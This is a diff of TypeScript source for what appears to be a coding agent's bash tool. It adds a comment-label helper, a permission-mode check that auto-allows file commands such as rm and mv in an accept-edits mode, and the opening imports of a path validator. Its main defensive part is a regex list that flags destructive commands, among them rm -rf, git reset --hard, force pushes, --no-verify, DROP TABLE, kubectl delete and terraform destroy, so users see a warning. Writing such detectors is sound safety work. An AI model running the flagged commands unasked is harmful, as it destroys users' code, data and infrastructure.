The diff for this file is too large to render.
See raw diff
|
|
|
src/tools/BashTool/commentLabel.ts
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/**
|
| 2 |
+
* If the first line of a bash command is a `# comment` (not a `#!` shebang),
|
| 3 |
+
* return the comment text stripped of the `#` prefix. Otherwise undefined.
|
| 4 |
+
*
|
| 5 |
+
* Under fullscreen mode this is the non-verbose tool-use label AND the
|
| 6 |
+
* collapse-group ⎿ hint — it's what Claude wrote for the human to read.
|
| 7 |
+
*/
|
| 8 |
+
export function extractBashCommentLabel(command: string): string | undefined {
|
| 9 |
+
const nl = command.indexOf('\n')
|
| 10 |
+
const firstLine = (nl === -1 ? command : command.slice(0, nl)).trim()
|
| 11 |
+
if (!firstLine.startsWith('#') || firstLine.startsWith('#!')) return undefined
|
| 12 |
+
return firstLine.replace(/^#+\s*/, '') || undefined
|
| 13 |
+
}
|
src/tools/BashTool/destructiveCommandWarning.ts
ADDED
|
@@ -0,0 +1,102 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
/**
|
| 2 |
+
* Detects potentially destructive bash commands and returns a warning string
|
| 3 |
+
* for display in the permission dialog. This is purely informational — it
|
| 4 |
+
* doesn't affect permission logic or auto-approval.
|
| 5 |
+
*/
|
| 6 |
+
|
| 7 |
+
type DestructivePattern = {
|
| 8 |
+
pattern: RegExp
|
| 9 |
+
warning: string
|
| 10 |
+
}
|
| 11 |
+
|
| 12 |
+
const DESTRUCTIVE_PATTERNS: DestructivePattern[] = [
|
| 13 |
+
// Git — data loss / hard to reverse
|
| 14 |
+
{
|
| 15 |
+
pattern: /\bgit\s+reset\s+--hard\b/,
|
| 16 |
+
warning: 'Note: may discard uncommitted changes',
|
| 17 |
+
},
|
| 18 |
+
{
|
| 19 |
+
pattern: /\bgit\s+push\b[^;&|\n]*[ \t](--force|--force-with-lease|-f)\b/,
|
| 20 |
+
warning: 'Note: may overwrite remote history',
|
| 21 |
+
},
|
| 22 |
+
{
|
| 23 |
+
pattern:
|
| 24 |
+
/\bgit\s+clean\b(?![^;&|\n]*(?:-[a-zA-Z]*n|--dry-run))[^;&|\n]*-[a-zA-Z]*f/,
|
| 25 |
+
warning: 'Note: may permanently delete untracked files',
|
| 26 |
+
},
|
| 27 |
+
{
|
| 28 |
+
pattern: /\bgit\s+checkout\s+(--\s+)?\.[ \t]*($|[;&|\n])/,
|
| 29 |
+
warning: 'Note: may discard all working tree changes',
|
| 30 |
+
},
|
| 31 |
+
{
|
| 32 |
+
pattern: /\bgit\s+restore\s+(--\s+)?\.[ \t]*($|[;&|\n])/,
|
| 33 |
+
warning: 'Note: may discard all working tree changes',
|
| 34 |
+
},
|
| 35 |
+
{
|
| 36 |
+
pattern: /\bgit\s+stash[ \t]+(drop|clear)\b/,
|
| 37 |
+
warning: 'Note: may permanently remove stashed changes',
|
| 38 |
+
},
|
| 39 |
+
{
|
| 40 |
+
pattern:
|
| 41 |
+
/\bgit\s+branch\s+(-D[ \t]|--delete\s+--force|--force\s+--delete)\b/,
|
| 42 |
+
warning: 'Note: may force-delete a branch',
|
| 43 |
+
},
|
| 44 |
+
|
| 45 |
+
// Git — safety bypass
|
| 46 |
+
{
|
| 47 |
+
pattern: /\bgit\s+(commit|push|merge)\b[^;&|\n]*--no-verify\b/,
|
| 48 |
+
warning: 'Note: may skip safety hooks',
|
| 49 |
+
},
|
| 50 |
+
{
|
| 51 |
+
pattern: /\bgit\s+commit\b[^;&|\n]*--amend\b/,
|
| 52 |
+
warning: 'Note: may rewrite the last commit',
|
| 53 |
+
},
|
| 54 |
+
|
| 55 |
+
// File deletion (dangerous paths already handled by checkDangerousRemovalPaths)
|
| 56 |
+
{
|
| 57 |
+
pattern:
|
| 58 |
+
/(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR][a-zA-Z]*f|(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*f[a-zA-Z]*[rR]/,
|
| 59 |
+
warning: 'Note: may recursively force-remove files',
|
| 60 |
+
},
|
| 61 |
+
{
|
| 62 |
+
pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*[rR]/,
|
| 63 |
+
warning: 'Note: may recursively remove files',
|
| 64 |
+
},
|
| 65 |
+
{
|
| 66 |
+
pattern: /(^|[;&|\n]\s*)rm\s+-[a-zA-Z]*f/,
|
| 67 |
+
warning: 'Note: may force-remove files',
|
| 68 |
+
},
|
| 69 |
+
|
| 70 |
+
// Database
|
| 71 |
+
{
|
| 72 |
+
pattern: /\b(DROP|TRUNCATE)\s+(TABLE|DATABASE|SCHEMA)\b/i,
|
| 73 |
+
warning: 'Note: may drop or truncate database objects',
|
| 74 |
+
},
|
| 75 |
+
{
|
| 76 |
+
pattern: /\bDELETE\s+FROM\s+\w+[ \t]*(;|"|'|\n|$)/i,
|
| 77 |
+
warning: 'Note: may delete all rows from a database table',
|
| 78 |
+
},
|
| 79 |
+
|
| 80 |
+
// Infrastructure
|
| 81 |
+
{
|
| 82 |
+
pattern: /\bkubectl\s+delete\b/,
|
| 83 |
+
warning: 'Note: may delete Kubernetes resources',
|
| 84 |
+
},
|
| 85 |
+
{
|
| 86 |
+
pattern: /\bterraform\s+destroy\b/,
|
| 87 |
+
warning: 'Note: may destroy Terraform infrastructure',
|
| 88 |
+
},
|
| 89 |
+
]
|
| 90 |
+
|
| 91 |
+
/**
|
| 92 |
+
* Checks if a bash command matches known destructive patterns.
|
| 93 |
+
* Returns a human-readable warning string, or null if no destructive pattern is detected.
|
| 94 |
+
*/
|
| 95 |
+
export function getDestructiveCommandWarning(command: string): string | null {
|
| 96 |
+
for (const { pattern, warning } of DESTRUCTIVE_PATTERNS) {
|
| 97 |
+
if (pattern.test(command)) {
|
| 98 |
+
return warning
|
| 99 |
+
}
|
| 100 |
+
}
|
| 101 |
+
return null
|
| 102 |
+
}
|
src/tools/BashTool/modeValidation.ts
ADDED
|
@@ -0,0 +1,115 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import type { z } from 'zod/v4'
|
| 2 |
+
import type { ToolPermissionContext } from '../../Tool.js'
|
| 3 |
+
import { splitCommand_DEPRECATED } from '../../utils/bash/commands.js'
|
| 4 |
+
import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
|
| 5 |
+
import type { BashTool } from './BashTool.js'
|
| 6 |
+
|
| 7 |
+
const ACCEPT_EDITS_ALLOWED_COMMANDS = [
|
| 8 |
+
'mkdir',
|
| 9 |
+
'touch',
|
| 10 |
+
'rm',
|
| 11 |
+
'rmdir',
|
| 12 |
+
'mv',
|
| 13 |
+
'cp',
|
| 14 |
+
'sed',
|
| 15 |
+
] as const
|
| 16 |
+
|
| 17 |
+
type FilesystemCommand = (typeof ACCEPT_EDITS_ALLOWED_COMMANDS)[number]
|
| 18 |
+
|
| 19 |
+
function isFilesystemCommand(command: string): command is FilesystemCommand {
|
| 20 |
+
return ACCEPT_EDITS_ALLOWED_COMMANDS.includes(command as FilesystemCommand)
|
| 21 |
+
}
|
| 22 |
+
|
| 23 |
+
function validateCommandForMode(
|
| 24 |
+
cmd: string,
|
| 25 |
+
toolPermissionContext: ToolPermissionContext,
|
| 26 |
+
): PermissionResult {
|
| 27 |
+
const trimmedCmd = cmd.trim()
|
| 28 |
+
const [baseCmd] = trimmedCmd.split(/\s+/)
|
| 29 |
+
|
| 30 |
+
if (!baseCmd) {
|
| 31 |
+
return {
|
| 32 |
+
behavior: 'passthrough',
|
| 33 |
+
message: 'Base command not found',
|
| 34 |
+
}
|
| 35 |
+
}
|
| 36 |
+
|
| 37 |
+
// In Accept Edits mode, auto-allow filesystem operations
|
| 38 |
+
if (
|
| 39 |
+
toolPermissionContext.mode === 'acceptEdits' &&
|
| 40 |
+
isFilesystemCommand(baseCmd)
|
| 41 |
+
) {
|
| 42 |
+
return {
|
| 43 |
+
behavior: 'allow',
|
| 44 |
+
updatedInput: { command: cmd },
|
| 45 |
+
decisionReason: {
|
| 46 |
+
type: 'mode',
|
| 47 |
+
mode: 'acceptEdits',
|
| 48 |
+
},
|
| 49 |
+
}
|
| 50 |
+
}
|
| 51 |
+
|
| 52 |
+
return {
|
| 53 |
+
behavior: 'passthrough',
|
| 54 |
+
message: `No mode-specific handling for '${baseCmd}' in ${toolPermissionContext.mode} mode`,
|
| 55 |
+
}
|
| 56 |
+
}
|
| 57 |
+
|
| 58 |
+
/**
|
| 59 |
+
* Checks if commands should be handled differently based on the current permission mode
|
| 60 |
+
*
|
| 61 |
+
* This is the main entry point for mode-based permission logic.
|
| 62 |
+
* Currently handles Accept Edits mode for filesystem commands,
|
| 63 |
+
* but designed to be extended for other modes.
|
| 64 |
+
*
|
| 65 |
+
* @param input - The bash command input
|
| 66 |
+
* @param toolPermissionContext - Context containing mode and permissions
|
| 67 |
+
* @returns
|
| 68 |
+
* - 'allow' if the current mode permits auto-approval
|
| 69 |
+
* - 'ask' if the command needs approval in current mode
|
| 70 |
+
* - 'passthrough' if no mode-specific handling applies
|
| 71 |
+
*/
|
| 72 |
+
export function checkPermissionMode(
|
| 73 |
+
input: z.infer<typeof BashTool.inputSchema>,
|
| 74 |
+
toolPermissionContext: ToolPermissionContext,
|
| 75 |
+
): PermissionResult {
|
| 76 |
+
// Skip if in bypass mode (handled elsewhere)
|
| 77 |
+
if (toolPermissionContext.mode === 'bypassPermissions') {
|
| 78 |
+
return {
|
| 79 |
+
behavior: 'passthrough',
|
| 80 |
+
message: 'Bypass mode is handled in main permission flow',
|
| 81 |
+
}
|
| 82 |
+
}
|
| 83 |
+
|
| 84 |
+
// Skip if in dontAsk mode (handled in main permission flow)
|
| 85 |
+
if (toolPermissionContext.mode === 'dontAsk') {
|
| 86 |
+
return {
|
| 87 |
+
behavior: 'passthrough',
|
| 88 |
+
message: 'DontAsk mode is handled in main permission flow',
|
| 89 |
+
}
|
| 90 |
+
}
|
| 91 |
+
|
| 92 |
+
const commands = splitCommand_DEPRECATED(input.command)
|
| 93 |
+
|
| 94 |
+
// Check each subcommand
|
| 95 |
+
for (const cmd of commands) {
|
| 96 |
+
const result = validateCommandForMode(cmd, toolPermissionContext)
|
| 97 |
+
|
| 98 |
+
// If any command triggers mode-specific behavior, return that result
|
| 99 |
+
if (result.behavior !== 'passthrough') {
|
| 100 |
+
return result
|
| 101 |
+
}
|
| 102 |
+
}
|
| 103 |
+
|
| 104 |
+
// No mode-specific handling needed
|
| 105 |
+
return {
|
| 106 |
+
behavior: 'passthrough',
|
| 107 |
+
message: 'No mode-specific validation required',
|
| 108 |
+
}
|
| 109 |
+
}
|
| 110 |
+
|
| 111 |
+
export function getAutoAllowedCommands(
|
| 112 |
+
mode: ToolPermissionContext['mode'],
|
| 113 |
+
): readonly string[] {
|
| 114 |
+
return mode === 'acceptEdits' ? ACCEPT_EDITS_ALLOWED_COMMANDS : []
|
| 115 |
+
}
|
src/tools/BashTool/pathValidation.ts
ADDED
|
@@ -0,0 +1,1303 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import { homedir } from 'os'
|
| 2 |
+
import { isAbsolute, resolve } from 'path'
|
| 3 |
+
import type { z } from 'zod/v4'
|
| 4 |
+
import type { ToolPermissionContext } from '../../Tool.js'
|
| 5 |
+
import type { Redirect, SimpleCommand } from '../../utils/bash/ast.js'
|
| 6 |
+
import {
|
| 7 |
+
extractOutputRedirections,
|
| 8 |
+
splitCommand_DEPRECATED,
|
| 9 |
+
} from '../../utils/bash/commands.js'
|
| 10 |
+
import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
|
| 11 |
+
